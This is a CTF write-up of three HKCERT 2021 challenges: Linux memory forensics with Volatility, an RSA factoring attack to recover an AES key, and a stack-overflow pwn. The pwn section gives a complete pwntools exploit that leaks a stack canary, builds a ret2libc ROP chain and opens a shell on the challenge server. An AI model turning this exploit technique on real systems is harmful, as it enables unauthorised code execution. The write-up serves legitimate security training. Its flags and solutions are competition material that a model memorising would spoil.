# HKCERT CTF 2021 Writeup: Difficult Choice, Key Backup Service 2, Cool Down
This is the writeup from team T0047 - HKUST for the challenges Difficult Choice, Cool Down, Key Backup Service 2.
## **Difficult Choice (Forensics, 400 Points, 5 Solves)**
```
My friend, Ken, was watching idol during his work. Please tell me which one is his oshi.
The flag is located at /home/user/Desktop/flag.jpg.
```
[A .mem file was attached](https://file.hkcert21.pwnable.hk/difficult-choice_2fdc0e16be766592692bd9c5b07c6aaa.mem.xz)
Solved by: HotDawggy
### **Getting Started**
Since a .mem file was given, it was evident that I'd be using Volatility.
So the first thing I had to do was to run `imageinfo` on the file to figure out the profile it uses.
```bash=
$ python2 vol.py -f ../CTF/HKCERT2021/difficult-choice.mem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : No suggestion (Instantiated with no profile)
AS Layer1 : LimeAddressSpace (Unnamed AS)
AS Layer2 : FileAddressSpace (/home/kali/CTF/HKCERT2021/difficult-choice.mem)
PAE type : No PAE
```
Well... This was unexpected, no suggested profiles? (This took 30+ minutes to run, by the way)
After some googling like "Finding the profile volatility ctf", it turned out the `.mem` is in Linux, not Windows. Hence, the default `imageinfo` didn't return any profiles.
There is a [github page from volatility foundation](https://github.com/volatilityfoundation/profiles/tree/master/Linux/Ubuntu) that catalogs different Linux profiles for Volatility. However, in my testing, none of them worked. So I have to create my own profile...
### **Creating A Custom Profile**
From the resources online (e.g., https://heisenberk.github.io/Profile-Memory-Dump/), I believe the procedure here is:
1. Obtain the kernel version (possibly the OS version too)
2. Create a virtual machine with those specifications
3. Use dwarfdump and make a profile
So the first step is finding the version, which is pretty easy and can be done with a line of command in bash.
```bash=
$ grep -a "Linux version" difficult-choice.mem
```
Running this will return:

Here you can see the kernel version is `5.4.0-42-generic` and the OS version is `Ubuntu 18.04.1`
So quick googling of these keywords returns 2 important page:
https://packages.ubuntu.com/bionic/linux-image-5.4.0-42-generic
https://old-releases.ubuntu.com/releases/18.04.1/
>Comment: Looking back, the first link might already have everything I need, but I didn't understand it back then and went with the long route.
Now comes the second step, creating a VM.
So I downloaded the image file from the second link and start an Ubuntu VM.
I ran this command to check the kernel version in the VM.
```bash=
$ uname -r
4.15.0-20-generic
```
Of course it isn't the correct version... But worry not, because we can manually install the correct kernel version.
(The following commands were modified from https://heisenberk.github.io/Profile-Memory-Dump/)
```bash=
$ sudo apt install dwarfdump
$ sudo apt install git
$ git clone --depth=1 https://github.com/volatilityfoundation/volatility
$ sudo apt install linux-image-5.4.0-42-generic linux-headers-5.4.0-42-generic
$ sudo apt install build-essential
```
> Comment: I'm not exactly sure if a VM restart was required as I don't see it mentioned in any of the resources, but I did restart my VM here.
Onto the third and final step, building the profile.
(The following commands were also modified from https://heisenberk.github.io/Profile-Memory-Dump/)
```bash=
$ cd volatility/tools/linux
$ make
$ sudo zip Ubuntu1804.zip ./module.dwarf /boot/System.map-5.4.0-42-generic
```
Now I just need to send the `.zip` file back to the the VM I used for the CTF.
(Note that the `.zip` file has to be placed in `volatility/volatility/plugins/overlays/linux/`)

```
Hint: Linux Ubuntu 5.4.0.42
```
Well that's a bit late, isn't it?
No matter, because we're one step closer to getting the flag.jpg from the memory dump.
Doing some final checks for this section, I ran this command to see if Volatility recognises the profile:
```bash=
$ python2 vol.py --info | grep -a "Linux"
Volatility Foundation Volatility Framework 2.6.1
LinuxUbuntu1804x64 - A Profile for Linux Ubuntu1804 x64
linux_aslr_shift - Automatically detect the Linux ASLR shift
linux_banner - Prints the Linux banner information
linux_yarascan - A shell in the Linux memory image
LinuxAMD64PagedMemory - Linux-specific AMD 64-bit address space.
```
Awesome! Just to make sure it is the correct profile, I ran this too:
```bash=
$ python2 vol.py -f ../CTF/HKCERT2021/difficult-choice.mem --profile=LinuxUbuntu1804x64 linux_banner
Volatility Foundation Volatility Framework 2.6.1
Linux version 5.4.0-42-generic (buildd@lgw01-amd64-023) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #46~18.04.1-Ubuntu SMP Fri Jul 10 07:21:24 UTC 2020 (Ubuntu 5.4.0-42.46~18.04.1-generic 5.4.44)
```
We're set!
>Comment: These 2 steps are important for debugging. Because the first time I made a profile, it was recognised by Volatility, but it wasn't the correct profile. The second time (after some debugging), it wasn't even recognised by Volatility. Turns outs I ran my commands wrongly.
### **Extracting The Flag**
Since I'm not familiar investigating Linux memory dump with Volatility, I'll need to know the possible options. A simple command line would do:
```bash=
$ python2 vol.py -f ../CTF/HKCERT2021/difficult-choice.mem --profile=LinuxUbuntu1804x64 -h
```
Because we know the flag is a JPG file located in /home/user/Desktop, I'll be looking for options that is related to files.
```bash=
...
linux_find_file Lists and recovers files from memory
...
linux_recover_filesystem Recovers the entire cached file system from memory
...
```
Bingo! From my understanding and some googling online, both methods should work (albeit quite time-consuming if you do `linux_recover_filesystem`). So I opted to use `linux_find_file`.
From running ```python2 vol.py -f ../CTF/HKCERT2021/difficult-choice.mem --profile=LinuxUbuntu1804x64 linux_find_file -h``` and some reading on [this github page](https://github.com/volatilityfoundation/volatility/issues/534), I believe I need to do 2 things:
1. Find the inode for the flag.jpg
2. Run the command to extract it
3. PROFIT
For step 1, I just need to find the flag.jpg with option `-F`.
(Note that a path with quotation marks has to be passed to `-F` as parameter.)
```bash=
$ python2 vol.py -f ../CTF/HKCERT2021/difficult-choice.mem --profile=LinuxUbuntu1804x64 linux_find_file -F "/home/user/Desktop/flag.jpg"
Volatility Foundation Volatility Framework 2.6.1
Inode Number Inode File Path
---------------- ------------------ ---------
2361992 0xffff9925b63a4df8 /home/user/Desktop/flag.jpg
```
The inode is `0xffff9925b63a4df8`! Now to step 2, we use the `-i` option to extract the file with `-O`:
```bash=
$python2 vol.py -f ../CTF/HKCERT2021/difficult-choice.mem --profile=LinuxUbuntu1804x64 linux_find_file -i 0xffff9925b63a4df8 -O flag.jpg
Volatility Foundation Volatility Framework 2.6.1
```
And the JPG should be extracted!

Flag is `hkcert21{y0u_4re_n0w_binwalk_m3st3r}`!
## **Key Backup Service 2 (Crypto, 350 Points, 5 Solves)**
```
Note: This is part two of a two-part series. Part one: 長話短說 / Key Backup Service I.
Mystiz is really lazy. He expects that someone would crack the bank-level encryption, but he doesn't care about that. After all, the darkest secret is not that dark.
He decided to change the numbers and release it to the public again. Now crack it!
Note: You do not need to solve Key Backup Service I to solve this.
```
[A file containing `chall.py` and `transcript.log` was attached](https://file.hkcert21.pwnable.hk/braceless_e0a09d2cb4ff894e1dcf7b2bd70a2379.zip)
```python=
import os
import random
from Crypto.Cipher import AES
from Crypto.Util.number import isPrime as is_prime
from Crypto.Util.Padding import pad
# 256 bits for random-number generator
N = 0xcdc21452d0d82fbce447a874969ebb70bcc41a2199fbe74a2958d0d280000001
G = 0x5191654c7d85905266b0a88aea88f94172292944674b97630853f919eeb1a070
H = 0x7468657365206e756d6265727320617265206f6620636f757273652073757321
# More challenge-specific parameters
E = 65537 # The public modulus
CALLS = 65537 # The number of operations allowed
# Generate a 512-bit prime
def generate_prime(seed):
random.seed(seed)
while True:
p = random.getrandbits(512) | (1<<511)
if p % E == 1: continue
if not is_prime(p): continue
return p
# Defines a 1024-bit RSA key
class Key:
def __init__(self, p, q):
self.p = p
self.q = q
self.n = p*q
self.e = E
phi = (p-1) * (q-1)
self.d = pow(self.e, -1, phi)
def encrypt(self, m):
return pow(m, self.e, self.n)
def decrypt(self, c):
return pow(c, self.d, self.n)
# Defines an user
class User:
def __init__(self, master_secret):
self.master_secret = master_secret
self.key = None
def generate_key(self):
id = random.getrandbits(256)
self.key = Key(
generate_prime(self.master_secret + int.to_bytes(pow(G, id, N), 32, 'big')),
generate_prime(self.master_secret + int.to_bytes(pow(H, id, N), 32, 'big'))
)
def send(self, m):
if self.key is None: raise Exception('no key is defined!')
m = int(m, 16)
print(hex(self.key.encrypt(m)))
def get_secret(self):
if self.key is None: raise Exception('no key is defined!')
m = int.from_bytes(self.master_secret, 'big')
print(hex(self.key.encrypt(m)))
def main():
flag = os.environ.get('FLAG', 'hkcert21{***REDACTED***}')
flag = pad(flag.encode(), 16)
master_secret = os.urandom(32)
admin = User(master_secret)
for _ in range(CALLS):
command = input('[cmd] ').split(' ')
try:
if command[0] == 'send':
# Encrypts a hexed message
admin.send(command[1])
elif command[0] == 'pkey':
# Refreshs a new set of key
admin.generate_key()
elif command[0] == 'backup':
# Gets the encrypted master secret
admin.get_secret()
elif command[0] == 'flag':
cipher = AES.new(master_secret, AES.MODE_CBC, b'\0'*16)
encrypted_flag = cipher.encrypt(flag)
print(encrypted_flag.hex())
except Exception as err:
raise err
print('nope')
if __name__ == '__main__':
main()
'''
Side-note: I knew this is _very_ similar to "Long Story Short" in HKCERT CTF 2021, but rest assured that this is a different challenge.
...:)
'''
```
Solved by: Dumby_Variable
### **Solving The Crypto**
First, we don't have the $n$ in the `transcript.log` so we have to recover $n$ first. We have encryption of $2$ and $3$ which means $2^e\ \text{mod}\ n$ and $3^e\ \text{mod}\ n$, we have $2^e\ - (2^e\ \text{mod}\ n) = bn$ and $3^e - (3^e\ \text{mod}\ n) = an$, Therefore we can recover $n$ by taking gcd of these $2$ numbers. However, the $n$ we get may actually be a multiple of n because a and b are not necessarily coprime. From the script, we know that $2^{1022} < n < 2^{1024}$ because the prime always have the $2^{511}$ bit set. Therefore $n > 2^{1022}$. We can factor n until it is smaller than $2^{1024}$ then it won't have any prime factor in between $4$ and $\text{min}(p, q)$. After recovering $n$ from `transcript.log`, I attempted to apply the broadcast attack to recover the AES key:
```python
#!/usr/bin/env python3
from math import gcd
from tqdm import tqdm
import IPython
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import gmpy2
try:
E=65537
secrets = []
p_2 = pow(2, E)
p_3 = pow(3, E)
MAX_N = pow(2, 1024)
with open('transcript.log', 'r') as log, tqdm(total=E//4) as pbar:
log.readline()
flag_enc = int(log.readline()[:-1], 16)
while log.readline() != '':
log.readline()
enc_2 = int(log.readline()[2:-1], 16)
log.readline()
enc_3 = int(log.readline()[2:-1], 16)
log.readline()
b = int(log.readline()[2:-1], 16)
n = gcd(abs(p_2 - enc_2), abs(p_3 - enc_3))
i = 2
while n > MAX_N or i < 100: # just in case cuz script is slow
if n % i == 0:
n = n // i
else:
i += 1
secrets.append([n, b])
pbar.update(1)
master_secret = 0
master_n = 1
for s in tqdm(secrets):
master_n *= s[0]
for (i, s) in tqdm(enumerate(secrets)):
others = master_n // s[0]
master_secret += others * pow(others, -1, s[0]) * s[1]
master_secret %= master_n
for i in tqdm(range(len(secrets))):
assert(master_secret % secrets[i][0] == secrets[i][1])
gmpy2.get_context().precision=512 # type: ignore
sec = gmpy2.root(master_secret, E) # type: ignore
print(sec)
sec = int(sec)
print(sec)
print(sec**E)
print(master_secret)
assert(sec ** E == master_secret)
cipher = AES.new(long_to_bytes(sec), AES.MODE_CBC, b'\0'*16)
print(cipher.decrypt(long_to_bytes(flag_enc)))
except Exception as e:
print(e)
IPython.embed()
```
After waiting for quite a while. When `i` becomes $7265$, the script throws an error that the `pow(others, -1, s[0])` is not possible, meaning that `s[0]` is not coprime with `others`!
This means we can factor `s[0]` by taking gcd with others, and we get $p$ and $q$ and hence $\phi(n)$ and `pow(s[1], pow(E, -1, (p - 1) * (q - 1), p * q)` will give the AES key. We can continue to solve the challenge in the IPython shell spawned by the script.
```python
In [22]: pow(s[1], pow(E, -1, (p - 1) * (q - 1)), p * q)
Out[22]: 70374793503818862749000680503415493426690847685245963430272540798700041469907
# cipher = AES.new(long_to_bytes(pow(s[1], pow(E, -1, (p - 1) * (q - 1)), p * q)), AES.MODE_CBC, b'\0' * 16)
In [30]: cipher.decrypt(long_to_bytes(flag_enc))
Out[30]: b'hkcert21{y0u_d0nt_n33d_p41rw15e_9cd_1f_y0u_c4n_d0_i7_1n_b4tch}\x02\x02'
```
>Comment: This can be done by using gcd at first, but I first notice that broadcast attack might be possible and went that way instead.
## **Cool Down (Pwn, 200 Points, 10 Solves)**
```
It's about to leave, just an easy challenge for the cool down.
This challenge is very similar to "To modify the past" but is reinforced by some protection methods, study pwn protection to bypass them.
nc chalp.hkcert21.pwnable.hk 28329
```
[A file including the source code and the binary was attached](https://file.hkcert21.pwnable.hk/cooldown_bed1731576f7246cad74bd27c018dc07.zip)
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(60);
}
int main () {
char buf[100];
char end[8] = "N";
init();
printf("Welcome to echo service.\n");
while(!(end[0] == 'Y' || end[0] == 'y')){
int num_read = read(0, buf, 0x100);
if (buf[num_read-1] == '\n')
buf[num_read-1] = '\0';
printf("%s", buf);
printf("End?[Y/N] ");
scanf("%7s", end);
}
}
```
Solved by: Rabbitsthecat, HotDawggy, Dumby_Variable
### **Getting Started**
What the binary esentially does is:
1. Ask for user input (And replace the ending \n with a null byte)
2. Echos user input
3. Ask "End?"
4. If you input "Y", the program exits. Otherwise, the program loops
From the source code, we notice that the buffer is 100 bytes but the `read` function allows for 0x100 i.e., 256 bytes, which means we can do buffer overflow!
But from the description of the challenge, it's likely not as simple as there are protections in place.
We tried inspecting the gdb and using command `canary`, we get
```bash=
gef➤ canary
[+] Found AT_RANDOM at 0x7fffffffe2c9, reading 8 bytes
[+] The canary of process 3197 is 0x342fe4123511fc00
```
but the address is around 1160 bytes away from the input buffer, which looks irrelevant.
After some tinkering with the binary, we got the following observation:
1. `printf` (which is responsible to echoing our input) stops at any null bytes.
2. From 1., it also meant we could leak other values in the buffer as long as there's no null bytes inbetween.
3. Inputting 256 `A` and answering `Y` would crash the program and give error message `*** stack smashing detected ***: terminated` (So there must be a canary within 256 bytes of input)
>Comment: We're not sure if the program worked as intended as we didn't see \n being replaced by \x00. In fact, when Dumby_Variable tried decompiling the binary with ghidra, the code is different?
>
We had further investigation by iterating input length to see when the program crashes, and hence, the address of the canary.
```python=
from pwn import *
binary = "/home/kali/CTF/HKCERT2021/cooldown_bed1731576f7246cad74bd27c018dc07/app/src/chall"
context.binary = binary
context.log_level = "debug"
for i in range(256):
r = process(binary)
r.sendline(b"A"*(i+1))
r.recv()
r.sendline(b"Y")
print(i+1)
try:
r.recv()
except:
pass
sleep(1)
```
```
[DEBUG] Sent 0x69 bytes:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x99 bytes:
00000000 57 65 6c 63 6f 6d 65 20 74 6f 20 65 63 68 6f 20 │Welc│ome │to e│cho │
00000010 73 65 72 76 69 63 65 2e 0a 41 41 41 41 41 41 41 │serv│ice.│·AAA│AAAA│
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000080 41 0a fa 42 f9 1b b6 55 ad e0 82 71 03 9c 55 45 │A··B│···U│···q│··UE│
00000090 6e 64 3f 5b 59 2f 4e 5d 20 │nd?[│Y/N]│ │
00000099
[DEBUG] Sent 0x2 bytes:
b'Y\n'
104
[DEBUG] Received 0x2c bytes:
b'*** stack smashing detected ***: terminated\n'
```
This tells us that the program crashes when we input 0x68 (104) bytes of `A` + 0x1 byte of `\n` while leaking 7 bytes of the canary (The LSB is overwritten by `\n`).
We also tried inputting 103*`A` + `\n`, this would not crash the program while not leaking anything. So we know the LSB of the canary must be null byte!
Upon further investigation with GDB, it seems the old `rbp` is 112 bytes away from input (which is immediately after the canary) and a `main()` return address located 152 bytes away from input (which we can leak in a similar manner as canary).
Thus this is how we retrieve the canary and `main()` address:
```python=
from pwn import *
binary = "/home/kali/CTF/HKCERT2021/cooldown_bed1731576f7246cad74bd27c018dc07/app/src/chall"
context.binary = binary
context.log_level = "debug"
elf = ELF(binary)
rbp_offset = 0x7fffffffde70 - 0x00007fffffffde00 #112
canary_offset = 0x68 #104
main_stack_offset = 152
payload1 = b"A"*canary_offset
#r = process(binary)
r = remote("chalp.hkcert21.pwnable.hk", 28329)
r.recvuntil(b"\n")
r.sendline(payload1)
r.recvuntil(b"\n")
canary = b"\x00" + r.recv(7)
r.sendline(b"N")
payload2 = b"A"*main_stack_offset
r.sendline(payload2)
r.recvuntil(b"\n")
main = b"\x00" + r.recvuntil(b"En", drop=True)
```
### **ROP Time**
With our `main()` address, canary address and value, we can craft our ROP payload.
Our first objective is to leak GOT addresses.
By using ROPgadget, we find that `pop rdi; ret;` gadget is located at `0x133b`. We use this to pop GOT address as argument to `printf()`.
Thus, this is our first ROP payload:
```python=
elf.address = u64(main) - elf.sym["main"]
pop_rdi = 0x000000000000133b + elf.address
payload3 = flat(
b"A"*canary_offset,
canary,
b"A"*8,
pop_rdi,
elf.got['printf'],
elf.plt['printf'],
elf.sym['main']
)
r.send(payload3)
r.recv()
r.recv()
r.sendline(b"Y")
printf_got = u64(r.recvuntil(b"Welcome", drop=True)[10:]+b"\x00"*2)
```
>Comment: HotDawggy put in several `r.recv()` as a band-aid fix because for some reason `r.sendline(b"Y")` often got sent too early and is not recognised by the binary
Now that we have the `printf()` GOT address and since the libc version was also given in the source files, we can calculate the libc address and find `system()` and `/bin/sh` in libc!
This is the second ROP payload:
```python=
libc = ELF("/home/kali/CTF/HKCERT2021/cooldown_bed1731576f7246cad74bd27c018dc07/app/src/libc-2.23.so")
libc.address = printf_got - libc.sym['printf']
print(hex(libc.address))
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload4 = flat(
b"A"*canary_offset,
canary,
b"A"*8,
pop_rdi,
bin_sh,
system,
elf.sym['main'])
r.send(payload4)
r.recv()
r.recv()
r.recv()
r.sendline(b"Y")
r.interactive()
```
From here on, after being put in Interactive Mode, we can do `ls`, and `cat flag.txt` to get the flag
```bash=
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x2e bytes:
b'hkcert21{pad1ng_nu11_bytE_t0_preven7_lEAking}\n'
hkcert21{pad1ng_nu11_bytE_t0_preven7_lEAking}
```
### **The Full Solve Script**
```python=
from pwn import *
binary = "/home/kali/CTF/HKCERT2021/cooldown_bed1731576f7246cad74bd27c018dc07/app/src/chall"
context.binary = binary
context.log_level = "debug"
elf = ELF(binary)
rbp_offset = 0x7fffffffde70 - 0x00007fffffffde00
print(rbp_offset)
canary_offset = 0x68
main_stack_offset = 152
payload1 = b"A"*canary_offset
#r = process(binary)
r = remote("chalp.hkcert21.pwnable.hk", 28329)
r.recvuntil(b"\n")
r.sendline(payload1)
r.recvuntil(b"\n")
canary = b"\x00" + r.recv(7)
print(hex(u64(canary)), len(canary))
r.sendline(b"N")
payload2 = b"A"*main_stack_offset
r.sendline(payload2)
r.recvuntil(b"\n")
main = b"\x00" + r.recvuntil(b"En", drop=True)
main = main + b"\x00"*(8-len(main))
print(hex(u64(main)))
r.sendline(b"N")
elf.address = u64(main) - elf.sym["main"]
pop_rdi = 0x000000000000133b + elf.address
print(hex(elf.got["printf"]))
payload3 = flat(
b"A"*canary_offset,
canary,
b"A"*8,
pop_rdi,
elf.got['printf'],
elf.plt['printf'],
elf.sym['main']
)
r.send(payload3)
r.recv()
r.recv()
r.sendline(b"Y")
printf_got = u64(r.recvuntil(b"Welcome", drop=True)[10:]+b"\x00"*2)
print(hex(printf_got))
libc = ELF("/home/kali/CTF/HKCERT2021/cooldown_bed1731576f7246cad74bd27c018dc07/app/src/libc-2.23.so")
libc.address = printf_got - libc.sym['printf']
print(hex(libc.address))
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload4 = flat(
b"A"*canary_offset,
canary,
b"A"*8,
pop_rdi,
bin_sh,
system,
elf.sym['main'])
r.send(payload4)
r.recv()
r.recv()
r.recv()
r.sendline(b"Y")
r.interactive()
```